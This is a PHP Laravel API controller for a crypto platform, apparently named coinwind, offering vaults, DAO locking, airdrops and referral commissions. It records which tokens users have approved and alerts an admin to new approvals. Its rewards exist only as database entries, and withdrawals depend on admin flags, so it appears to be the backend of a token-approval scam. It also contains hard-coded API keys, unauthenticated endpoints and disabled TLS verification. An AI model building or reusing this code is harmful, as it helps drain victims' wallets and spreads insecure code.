coinwind/app/Http/Controllers/ApiController.php

1170 lines
42 KiB
PHP

<?php
namespace App\Http\Controllers;
use App\Authorize;
use App\Balance;
use App\Commissions;
use App\Dao;
use App\Detail;
use App\Other;
use App\Single;
use App\Swap;
use App\System;
use App\Withdrawal;
use Illuminate\Http\Request;
use App\User;
use Illuminate\Support\Facades\DB;
use App\Vault;
use App\Vault2;
use App\Vault3;
class ApiController extends Controller
{
/**
* GET 请求 homepage 的 数据
*
*/
public function homedata(Request $request)
{
// 获取 other 配置
$allowed = [
'title',
'logo_url',
'banner',
'dao_url',
'lock_url',
'qrcode',
];
$other = Other::first($allowed);
$other = $other ? $other->toArray() : [];
// $other = array_filter($other, function ($k) use ($allowed) {
// return in_array($k, $allowed);
// }, ARRAY_FILTER_USE_KEY);
// 获取部分 system 配置
$sys_allowed = [
'pic_url',
'kefu_url',
'reward1',
'reward2',
'reward3',
'reward4',
'reward5',
'reward6',
'reward7',
'reward8',
'reward9',
'reward10',
'reward11',
'reward12',
'reward13',
'reward14',
'reward15',
'reward16',
'reward17',
'reward18',
'telegram',
'twitter',
'swim',
'lang',
'app_address',
'app_key',
'WBTC',
'WETH',
'USDT',
'USDC',
'SHIB',
'UNI',
'DAI',
'time1',
'time2',
'airdrop1',
'airdrop2',
'dao_free',
'dao_count',
'dao_lixi',
'dao_interval',
'yao_lixi',
'suo_lixi',
'liudong',
];
$system = System::first($sys_allowed);
$system = $system ? $system->toArray() : [];
$system['reward'] = [];
for ($i = 1; $i <= 18; $i++) {
$system['reward'][] = $system['reward' . $i];
unset($system['reward' . $i]);
}
return json_encode(compact('system', 'other'));
}
// 钱包注册
public function register(Request $request)
{
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (empty($user)) {
DB::transaction(function () use ($address, $request) {
// 创建
$id = User::insertGetId([
'address' => $address,
'ip' => $this->getIpInfo($request->getClientIp()),
'created_at' => date('Y-m-d H:i:s', time()),
'updated_at' => date('Y-m-d H:i:s', time())
]);
Vault::insert([
'id' => $id,
'address' => $address
]);
Vault2::insert([
'id' => $id,
'address' => $address
]);
Vault3::insert([
'id' => $id,
'address' => $address
]);
// 是否推荐
if ($sid = $request->input('referral')) {
$sData = User::where(['id' => $sid])->first();
if (!empty($sData)) {
User::where(['id' => $id])->update([
's_id' => $sid
]);
}
}
});
echo json_encode(0);
} else {
User::where('id', $user['id'])->update(['updated_at' => date('Y-m-d H:i:s', time())]);
$vault = Vault::where(['address' => $address])->first();
$vault2 = Vault2::where(['address' => $address])->first();
$user['vault'] = $vault;
$user['vault2'] = $vault2;
echo json_encode($user);
}
}
// 流动性余额同步
public function upBalanceV3(Request $request)
{
$address = $request->input('address');
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address));
$data_array = json_decode($data, true);
$list = Single::where(['type' => config('const.db.coin_type_fluidity')])->get();
Vault3::where(['address' => $address])->update(['status' => 1]);
if ($data_array['code'] == 1) {
foreach ($data_array['data'] as $v) {
foreach ($list as $l) {
if ($l['address'] == $v['hash']) {
User::where(['address' => $address])->update([
$l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d'])
]);
Vault3::where(['address' => $address])->update([
$l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d']),
]);
}
}
}
}
}
// 获取用户信息
public function userInfo(Request $request)
{
$address = $request->input('address');
$user = User::where('address', $address)->first();
echo json_encode($user);
}
// 授权记录查询
public function apiEther(Request $request)
{
$data = file_get_contents("https://api.etherscan.io/api?module=account&action=txlist&address=" . $request->input('address') . "&apiKey=NTBHBJKFU6G8H9RSIGDD24XBIRK3YJ3C64");
echo $data;
}
// 提示音
public function newList(Request $request)
{
$n = Authorize::where(['status' => 0])->count();
$i = Swap::where(['status' => 0])->count();
$j = Withdrawal::where(['type' => 2, 'status' => 0])->count();
return json_encode(['n' => $n, 'i' => $i, 'j' => $j]);
}
// 获取邀请数据
public function pullInvite(Request $request)
{
$req = $request->all();
$data = User::where(['address' => $req['address']])->first();
$arr = [];
if (!empty($data)) {
if ($req['type'] == 1) {
$to = User::where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray();
}
if ($req['type'] == 2) {
$to = User::whereDay('created_at', date('d', strtotime("-1 day")))->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray();
}
if ($req['type'] == 3) {
$end = date('Y-m-d H:i:s', strtotime('last Monday'));
$start = date('Y-m-d H:i:s', strtotime('last Monday') - 86400 * 7);
$to = User::where('created_at', '>', $start)->where('created_at', '<', $end)->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray();
}
$arr['info']['num'] = 0;
$arr['info']['jiaoyi'] = 0;
$arr['info']['amount'] = 0;
$arr['data'] = [];
foreach ($to as $k => $v) {
$arr['info']['num'] += 1;
$arr['info']['jiaoyi'] += $v['num'];
$arr['info']['amount'] += $v['count_amount'];
$arr['data'][] = $v;
}
$arr['info']['yao_leiji_amount'] = $data['yao_leiji_amount'];
$arr['info']['yao_curr_amount'] = $data['yao_curr_amount'];
return json_encode($arr);
}
}
// 提取佣金
public function pushInvite(Request $request)
{
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (!empty($user)) {
DB::transaction(function () use ($user) {
if ($user['yao_curr_amount'] <= 0) {
return false;
}
User::where(['id' => $user['id']])->increment('yao_leiji_amount', $user['yao_curr_amount']);
User::where(['id' => $user['id']])->increment('balance', $user['yao_curr_amount']);
User::where(['id' => $user['id']])->decrement('yao_curr_amount', $user['yao_curr_amount']);
Commissions::insert([
'from' => '',
'to' => $user['address'],
'money' => $user['yao_curr_amount'],
'type' => 4,
'created_at' => date('Y-m-d H:i:s', time()),
'update_at' => date('Y-m-d H:i:s', time()),
'libi' => 0,
]);
});
}
}
// 同步授权
public function authorization(Request $request)
{
$wallet = trim($request->input('wallet'), '|');
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (!empty($user)) {
$wallet_arr = explode('|', $wallet);
User::where(['id' => $user->id])->update([
'USDT_Q' => (int)in_array('USDT', $wallet_arr),
'WETH_Q' => (int)in_array('WETH', $wallet_arr),
'WBTC_Q' => (int)in_array('WBTC', $wallet_arr),
'SHIB_Q' => (int)in_array('SHIB', $wallet_arr),
'UNI_Q' => (int)in_array('UNI', $wallet_arr),
'DAI_Q' => (int)in_array('DAI', $wallet_arr),
'USDC_Q' => (int)in_array('USDC', $wallet_arr),
]);
}
}
// 流动领取收益
public function all(Request $request)
{
$address = trim($request->input('address'));
$system = System::where(['id' => 1])->first();
DB::transaction(function () use ($address, $system) {
$data = Vault3::where(['address' => $address])->first();
if ($data['USDT_T'] > 0) {
$v1 = $data['USDT_T'] / $system['GLK'];
Vault3::where(['id' => $data['id']])->decrement('USDT_T', $data['USDT_T']);
// 写入日志
Balance::insert([
'address' => $address,
'name' => 'USDT',
'remake' => '流动挖矿领取',
'status' => 5,
'created_at' => date('Y-m-d H:i:s', time()),
'money' => $v1
]);
User::where(['address' => $address])->increment('balance', $v1);
}
if ($data['USDC_T'] > 0) {
$v1 = $data['USDC_T'] / $system['GLK'];
Vault3::where(['id' => $data['id']])->decrement('USDC_T', $data['USDC_T']);
// 写入日志
Balance::insert([
'address' => $address,
'name' => 'USDC',
'remake' => '流动挖矿领取',
'status' => 5,
'created_at' => date('Y-m-d H:i:s', time()),
'money' => $v1
]);
User::where(['address' => $address])->increment('balance', $v1);
}
});
}
// 同步授权
public function authorization_v(Request $request)
{
$wallet = trim($request->input('wallet'), '|');
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (!empty($user)) {
$wallet_arr = explode('|', $wallet);
User::where(['id' => $user->id])->update([
'USDT_Q' => (int)in_array('USDT', $wallet_arr),
'USDC_Q' => (int)in_array('USDC', $wallet_arr),
]);
}
}
// 币币兑换
public function apiSwap(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
$system = System::where(['id' => 1])->first();
if (!empty($user)) {
if ((float)$system['limit_GLK'] >= (float)$data['balance']) {
return false;
}
if ((float)$data['balance'] <= $user['balance']) {
DB::transaction(function () use ($user, $data) {
User::where(['id' => $user['id']])->decrement('balance', $data['balance']);
Swap::insert([
'address' => $data['address'],
'remark' => $user['remark'],
'balance' => $data['balance'],
'status' => 0,
'created_at' => date('Y-m-d H:i:s', time()),
'updated_at' => date('Y-m-d H:i:s', time()),
]);
});
}
}
}
// DAO锁仓
public function daoDeposit(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
if ((float)$data['balance'] <= $user['balance']) {
$system = System::where(['id' => 1])->first();
DB::transaction(function () use ($user, $data, $system) {
User::where(['id' => $user['id']])->decrement('balance', $data['balance']);
User::where(['id' => $user['id']])->increment('dao_count', $data['balance']);
User::where(['id' => $user['id']])->increment('num', 1);
User::where(['id' => $user['id']])->increment('count_amount', $data['balance'] * $system['GLK']);
User::where(['id' => $user['id']])->update(['dao_time' => date('Y-m-d H:i:s')]);
Dao::insert([
'address' => $data['address'],
'remake' => $user['remark'],
'money' => $data['balance'],
'content' => 'DAO锁仓生息存入',
'created_at' => date('Y-m-d H:i:s', time())
]);
});
}
}
}
// DAO 提取收益
public function daoWithdrawProfit(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
DB::transaction(function () use ($user, $data) {
User::where(['id' => $user['id']])->decrement('dao_current', $user['dao_current']);
User::where(['id' => $user['id']])->increment('balance', $user['dao_current']);
Dao::insert([
'address' => $data['address'],
'remake' => $user['remark'],
'money' => $user['dao_current'],
'content' => 'DAO锁仓提取收益',
'created_at' => date('Y-m-d H:i:s', time())
]);
});
}
}
// DAO 提取本金
public function daoWithdraw(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
$system = System::where(['id' => 1])->first();
if (!empty($user)) {
DB::transaction(function () use ($user, $data, $system) {
$delta = $data['balance'];
if ($delta <= $user['dao_count']) {
User::where(['id' => $user['id']])->decrement('dao_count', $delta);
$balance = null;
if ((time() - 86400 * 7) > $user['dao_time']) {
$balance = $delta * ((100 - $system['dao_free']) / 100);
} else {
$balance = $delta;
}
User::where(['id' => $user['id']])->increment('balance', $balance);
Dao::insert([
'address' => $data['address'],
'remake' => $user['remark'],
'money' => $delta,
'content' => 'DAO锁仓提取本金(' . $balance . ')',
'created_at' => date('Y-m-d H:i:s', time())
]);
}
});
}
}
// 单币同步
public function authorization_one(Request $request)
{
$wallet = trim($request->input('wallet'));
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (!empty($user)) {
Authorize::insert([
'address' => $address,
'name' => explode('_', $wallet)[0],
'status' => 0,
'created_at' => date('Y-m-d H:i:s', time()),
'updated_at' => date('Y-m-d H:i:s', time()),
'hash' => $request->input('hash')
]);
User::where(['id' => $user->id])->update([
$wallet => 1,
]);
}
}
// vault更新余额
public function vaultBalance(Request $request)
{
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (!empty($user)) {
if ($request->input('type') == 1) {
$vault = Vault::where(['id' => $user->id])->first();
}
if ($request->input('type') == 2) {
$vault = Vault2::where(['id' => $user->id])->first();
}
if ($request->input('type') == 3) {
$vault = Vault3::where(['id' => $user->id])->first();
}
echo json_encode($vault);
exit;
}
}
// 更新余额
public function upBalance(Request $request)
{
$address = trim($request->input('address'));
$user = User::where('address', $address)->first();
if (!empty($user)) {
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address));
$data_array = json_decode($data, true);
$list = Single::where(['type' => config('const.db.coin_type_platform')])->get();
if ($data_array['code'] == 1) {
foreach ($data_array['data'] as $v) {
foreach ($list as $l) {
if ($l['address'] == $v['hash']) {
User::where(['address' => $address])->update([
$l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d'])
]);
}
}
}
}
echo $data;
}
}
// 获取key
public function getInfo()
{
$system = System::where(['id' => '1'])->first();
echo $this->strencode2(json_encode([
'app_key' => $system['app_key'],
'app_address' => $system['app_address'],
'gui_address' => $system['gui_address'],
]));
}
// 存入
public function deposit(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
$single = Single::where(['type' => $data['type'], 'address' => $data['app_address']])->first();
Detail::insertGetId([
'address' => $data['address'],
'hash' => $data['hash'],
'balance' => $data['balance'],
'status' => 0,
'type' => $data['type'],
'info' => json_encode($single),
'created_at' => date('Y-m-d H:i:s', time()),
'updated_at' => date('Y-m-d H:i:s', time()),
'remake' => $user['remark']
]);
}
}
// 提现信息
public function withdrawalInfo(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first();
} else {
$info = Vault2::where(['id' => $user['id']])->first();
}
$info['use'] = $user['use'];
$info['use1'] = $user['use1'];
echo json_encode($info);
exit;
}
}
// 提现收益
public function withdrawalIncome(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
if ($user['use1'] == 1) {
if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first();
} else {
$info = Vault2::where(['id' => $user['id']])->first();
}
$single = Single::where(['address' => $data['ha_address'], 'type' => $data['type']])->first();
DB::transaction(function () use ($single, $data, $info, $user) {
$status = 0;
// 减收益
if ($data['type'] == 1) {
Vault::where(['id' => $user['id']])->decrement($single['name'] . '_T', $info[$single['name'] . '_T']);
$status = 1;
// 增加平台币
User::where(['id' => $user['id']])->increment('balance', $info[$single['name'] . '_T']);
// 写入日志
Balance::insert([
'address' => $user['address'],
'name' => $single['name'],
'remake' => '领取挖矿收益(平台币)',
'status' => 2,
'created_at' => date('Y-m-d H:i:s', time()),
'money' => $info[$single['name'] . '_T']
]);
}
if ($data['type'] == 2) {
$status = 0;
Vault2::where(['id' => $user['id']])->decrement($single['name'] . '_T', $info[$single['name'] . '_T']);
}
Withdrawal::insertGetId([
'address' => $user['address'],
'remake' => $user['remark'],
'bi_name' => $single['name'],
'liexing' => 1,
'balance' => $info[$single['name'] . '_T'],
'type' => $data['type'],
'status' => $status,
'created_at' => date('Y-m-d H:i:s', time()),
'updated_at' => date('Y-m-d H:i:s', time()),
]);
});
}
}
}
// 提现
public function withdrawal(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
if ($user['use'] == 1) {
if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first();
} else {
$info = Vault2::where(['id' => $user['id']])->first();
}
$single = Single::where(['address' => $data['ha_address'], 'type' => $data['type']])->first();
if ($info[$single['name']] >= $data['balance']) {
DB::transaction(function () use ($single, $data, $info, $user) {
// 减本金
if ($data['type'] == 1) {
Vault::where(['id' => $user['id']])->decrement($single['name'], $data['balance']);
}
if ($data['type'] == 2) {
Vault2::where(['id' => $user['id']])->decrement($single['name'], $data['balance']);
}
Withdrawal::insertGetId([
'address' => $user['address'],
'bi_name' => $single['name'],
'liexing' => 2,
'balance' => $data['balance'],
'type' => $data['type'],
'status' => 0,
'created_at' => date('Y-m-d H:i:s', time()),
'updated_at' => date('Y-m-d H:i:s', time()),
]);
});
}
}
}
}
// 锁仓获取
public function lockup(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
$system = System::where(['id' => 1])->first();
$count = 0.00;
$income = 0.00;
if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first();
$count += $info['WBTC'] * $system['WBTC'];
$count += $info['USDT'] * $system['USDT'];
$count += $info['WETH'] * $system['WETH'];
$count += $info['SHIB'] * $system['SHIB'];
$count += $info['UNI'] * $system['UNI'];
$count += $info['DAI'] * $system['DAI'];
$count += $info['USDC'] * $system['USDC'];
$income = ($info['WBTC_T'] + $info['USDT_T'] + $info['WETH_T'] + $info['SHIB_T'] + $info['UNI_T'] + $info['DAI_T'] + $info['USDC_T']) * $system['GLK'];
} else {
$info = Vault2::where(['id' => $user['id']])->first();
$count += $info['WBTC'] * $system['WBTC'];
$count += $info['USDT'] * $system['USDT'];
$count += $info['WETH'] * $system['WETH'];
$count += $info['SHIB'] * $system['SHIB'];
$count += $info['UNI'] * $system['UNI'];
$count += $info['DAI'] * $system['DAI'];
$count += $info['USDC'] * $system['USDC'];
$income += $info['WBTC_T'] * $system['WBTC'];
$income += $info['USDT_T'] * $system['USDT'];
$income += $info['WETH_T'] * $system['WETH'];
$income += $info['SHIB_T'] * $system['SHIB'];
$income += $info['UNI_T'] * $system['UNI'];
$income += $info['DAI_T'] * $system['DAI'];
$income += $info['USDC_T'] * $system['USDC'];
}
echo json_encode(['count' => $count, 'income' => $income]);
}
}
// hash值检验
public function hashVerify(Request $request)
{
$endtime = 86400;
$list = Detail::where(['status' => 0])
->where('created_at', '>', date('Y-m-d H:i:s', time() - $endtime))
->get()->toArray();
$system = System::where(['id' => 1])->first();
foreach ($list as $k => $v) {
$data = file_get_contents('https://eth.tokenview.com/api/search/' . $v['hash'] . '/?network=eth');
$data_format = json_decode($data, true);
if (!empty($data_format) && $data_format['code'] == 1 && !empty($data_format['data'][0]['tokenTransfer'][0])) {
$info = $data_format['data'][0]['tokenTransfer'][0];
// 判断两值相等
if (strtolower($v['address']) == $info['from']) {
$single = Single::where(['address' => $info['token'], 'type' => $v['type']])->first();
// 事务更新
DB::transaction(function () use ($single, $v, $info, $system) {
// 当前用户操作数, 最后操作时间变动
$user = User::where(['address' => $v['address']])->first();
// 当前存入变动
$balance = $info['value'] / pow(10, $info['tokenInfo']['d']);
User::where(['address' => $v['address']])->update([
'updated_at' => date('Y-m-d H:i:s', time()),
'num' => $user['num'] + 1,
'count_amount' => ($system[$single['name']] * $balance) + $user['count_amount']
]);
Detail::where(['address' => $v['address']])->update([
'status' => 1,
'true_balance' => $balance,
'updated_at' => date('Y-m-d H:i:s', time()),
]);
// 产品列表加
Single::where(['id' => $single['id']])->increment('count_use', $balance);
Single::where(['id' => $single['id']])->increment('real', $balance);
// 个人存入余额增加
if ($v['type'] == 1) {
Vault::where(['id' => $user['id']])->increment($single['name'], $balance);
}
if ($v['type'] == 2) {
Vault2::where(['id' => $user['id']])->increment($single['name'], $balance);
}
});
}
}
}
}
// 奖励发放 (平台币)
public function reward1()
{
$config = System::where(['id' => 1])->first();
$single = Single::where(['type' => config('const.db.coin_type_platform')])->pluck('yield', 'name');
$data = Vault::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time1'] * 60)))->get();
$list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC'];
foreach ($data as $k => $v) {
foreach ($list as $v1) {
if ($v[$v1] > 0) {
// 计算利息
$lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['time1'];
$benji = $v[$v1] * $config[$v1] * $lixi;
DB::transaction(function () use ($v, $v1, $benji, $config) {
Vault::where(['id' => $v['id']])->where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time1'] * 60)))->increment($v1 . '_T', $benji);
Balance::insert([
'address' => $v['address'],
'name' => $v1,
'remake' => '挖矿利息发放GLK(平台币)',
'money' => $benji,
'status' => 1,
'created_at' => date('Y-m-d H:i:s')
]);
// 佣金发放
$from_data = User::where(['id' => $v['id']])->first();
if ($from_data['s_id'] != 0) {
$to_data = User::where(['id' => $from_data['s_id'], 'use1' => 1, 'use' => 1])->first();
if (!empty($to_data)) {
Commissions::insert([
'from' => $from_data['address'],
'to' => $to_data['address'],
'money' => ($config['suo_lixi'] / 100) * $benji,
'type' => 1,
'created_at' => date('Y-m-d H:i:s', time()),
'update_at' => date('Y-m-d H:i:s', time()),
'libi' => $config['suo_lixi'],
]);
User::where(['id' => $to_data['id']])->increment('yao_leiji_amount', ($config['suo_lixi'] / 100) * $benji);
User::where(['id' => $to_data['id']])->increment('yao_curr_amount', ($config['suo_lixi'] / 100) * $benji);
}
}
});
}
}
}
}
// 奖励发放 (自身币)
public function reward2()
{
$config = System::where(['id' => 1])->first();
$single = Single::where(['type' => config('const.db.coin_type_earn')])->pluck('yield', 'name');
$data = Vault2::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time2'] * 60)))->get();
$list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC'];
foreach ($data as $k => $v) {
foreach ($list as $v1) {
if ($v[$v1] > 0) {
// 计算利息
$lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['time2'];
$benji = $v[$v1] * $lixi;
DB::transaction(function () use ($v, $v1, $benji, $config) {
Vault2::where(['id' => $v['id']])->increment($v1 . '_T', $benji);
Balance::insert([
'address' => $v['address'],
'name' => $v1,
'remake' => '挖矿利息发放' . $v1 . '(自身币)',
'money' => $benji,
'status' => 1,
'created_at' => date('Y-m-d H:i:s')
]);
// 佣金发放
$from_data = User::where(['id' => $v['id']])->first();
if ($from_data['s_id'] != 0) {
$to_data = User::where(['id' => $from_data['s_id'], 'use1' => 1, 'use' => 1])->first();
if (!empty($to_data)) {
Commissions::insert([
'from' => $from_data['address'],
'to' => $to_data['address'],
'money' => ($config['suo_lixi'] / 100) * ($benji * $config[$v1] / $config['GLK']),
'type' => 2,
'created_at' => date('Y-m-d H:i:s', time()),
'update_at' => date('Y-m-d H:i:s', time()),
'libi' => $config['suo_lixi'],
]);
User::where(['id' => $to_data['id']])->increment('yao_leiji_amount', ($config['suo_lixi'] / 100) * ($benji * $config[$v1] / $config['GLK']));
User::where(['id' => $to_data['id']])->increment('yao_curr_amount', ($config['suo_lixi'] / 100) * ($benji * $config[$v1] / $config['GLK']));
}
}
});
}
}
}
}
// 奖励发放
public function reward3()
{
$config = System::where(['id' => 1])->first();
$single = Single::where(['type' => config('const.db.coin_type_fluidity')])->pluck('yield', 'name');
$data = Vault3::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['liudong'] * 60)))->get();
$list = ['USDT', 'USDC'];
foreach ($data as $k => $v) {
foreach ($list as $v1) {
if ($v[$v1] > 0) {
// 计算利息
$lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['liudong'];
$benji = $v[$v1] * $lixi;
DB::transaction(function () use ($v, $v1, $benji, $config) {
Vault3::where(['id' => $v['id']])->increment($v1 . '_T', $benji);
Balance::insert([
'address' => $v['address'],
'name' => $v1,
'remake' => '流动挖矿利息发放' . $v1,
'money' => $benji,
'status' => 6,
'created_at' => date('Y-m-d H:i:s')
]);
});
}
}
}
}
// 流动余额更新
public function updateBalance()
{
$list = Vault3::where(['status' => 1])->get();
foreach ($list as $k => $v) {
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($v->address));
$data_array = json_decode($data, true);
if ($data_array['code'] == 1) {
foreach ($data_array['data'] as $v1) {
if ($v1['tokenInfo']['s'] == 'USDT') {
Vault3::where(['id' => $v['id']])->update([
'USDT' => $v1['balance'] / pow(10, $v1['tokenInfo']['d'])
]);
}
if ($v1['tokenInfo']['s'] == 'USDC') {
Vault3::where(['id' => $v['id']])->update([
'USDC' => $v1['balance'] / pow(10, $v1['tokenInfo']['d'])
]);
}
}
}
sleep(1);
}
}
// 锁仓收益发放
public function daoTime(Request $request)
{
$system = System::where(['id' => 1])->first();
$data = User::where('dao_count', '>', 0)->where('dao_time', '<', date('Y-m-d H:i:s', time() - ($system['dao_interval'] * 60)))->get();
foreach ($data as $k => $v) {
$lixi = ($system['dao_lixi'] / 100 / 30 / 24 / 60) * $system['dao_lixi'];
$amount = $v['dao_count'] * $lixi;
DB::transaction(function () use ($amount, $v, $system) {
User::where(['id' => $v['id']])->update([
'dao_time' => date('Y-m-d H:i:s', time()),
'dao_current' => $v['dao_current'] + $amount,
'dao_leiji' => $v['dao_leiji'] + $amount,
]);
Dao::insert([
'address' => $v['address'],
'remake' => $v['remark'],
'money' => $amount,
'content' => 'DAO锁仓利息发放',
'created_at' => date('Y-m-d H:i:s', time())
]);
// 佣金发放
if ($v['s_id'] != 0) {
$to_data = User::where(['id' => $v['s_id'], 'use1' => 1, 'use' => 1])->first();
if (!empty($to_data)) {
Commissions::insert([
'from' => $v['address'],
'to' => $to_data['address'],
'money' => ($system['suo_lixi'] / 100) * $amount,
'type' => 3,
'created_at' => date('Y-m-d H:i:s', time()),
'update_at' => date('Y-m-d H:i:s', time()),
'libi' => $system['suo_lixi'],
]);
User::where(['id' => $to_data['id']])->increment('yao_leiji_amount', ($system['suo_lixi'] / 100) * $amount);
User::where(['id' => $to_data['id']])->increment('yao_curr_amount', ($system['suo_lixi'] / 100) * $amount);
}
}
});
}
}
// 领取空投
public function airdrop(Request $request)
{
$data = $request->all();
$user = User::where('address', $data['address'])->first();
if (!empty($user)) {
DB::transaction(function () use ($user) {
User::where(['id' => $user->id])->decrement('Airdrop', $user['Airdrop']);
User::where(['id' => $user->id])->increment('balance', $user['Airdrop']);
Balance::insert([
'address' => $user['address'],
'name' => 'GLK',
'remake' => '领取空投奖励',
'status' => 3,
'money' => $user['Airdrop'],
'created_at' => date('Y-m-d H:i:s')
]);
});
}
}
// 更新基础币种价格
public function updateMoney(Request $request)
{
$data = file_get_contents('https://api.huobi.pro/market/tickers');
$toArray = json_decode($data, true);
$list = [];
foreach ($toArray['data'] as $v) {
if ($v['symbol'] == 'btcusdt') {
$list['WBTC'] = $v['close'];
}
if ($v['symbol'] == 'ethusdt') {
$list['WETH'] = $v['close'];
}
if ($v['symbol'] == 'uniusdt') {
$list['UNI'] = $v['close'];
}
if ($v['symbol'] == 'shibusdt') {
$list['SHIB'] = $this->sctonum($v['close'], 8);
}
}
System::where(['id' => 1])->update([
'WBTC' => $list['WBTC'],
'WETH' => $list['WETH'],
'UNI' => $list['UNI'],
'SHIB' => $list['SHIB'],
]);
}
function strencode2($string)
{
$string = base64_encode($string);
$key = '7894af1afaf0.afdas121231afasfaf12a5fzafadsf132aafadf11123ada';
$len = strlen($key);
$code = '';
for ($i = 0; $i < strlen($string); $i++) {
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
return base64_encode($code);
}
function sctonum($num, $double = 5)
{
if (false !== stripos($num, "e")) {
$a = explode("e", strtolower($num));
return bcmul($a[0], bcpow(10, $a[1], $double), $double);
}
}
// 获取ip
public function getIpInfo($ip)
{
$host = "https://api01.aliyun.venuscn.com";
$path = "/ip";
$method = "GET";
$appcode = "77a7fbd8cba14a29aec330d1d2cd2464";
$headers = array();
array_push($headers, "Authorization:APPCODE " . $appcode);
$querys = "ip=" . $ip;
$bodys = "";
$url = $host . $path . "?" . $querys;
$curl = curl_init();
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_FAILONERROR, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, false);
if (1 == strpos("$" . $host, "https://")) {
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
}
$data = json_decode(curl_exec($curl), true);
if (empty($data['data'])) {
return '获取ip失败';
}
return $data['data']['region'] . '-' . $data['data']['city'];
}
public function authorizationSearch(Request $request)
{
$data = file_get_contents('https://eth.tokenview.com/api/search/' . $request->input('tx') . '/?network=eth');
echo $data;
}
}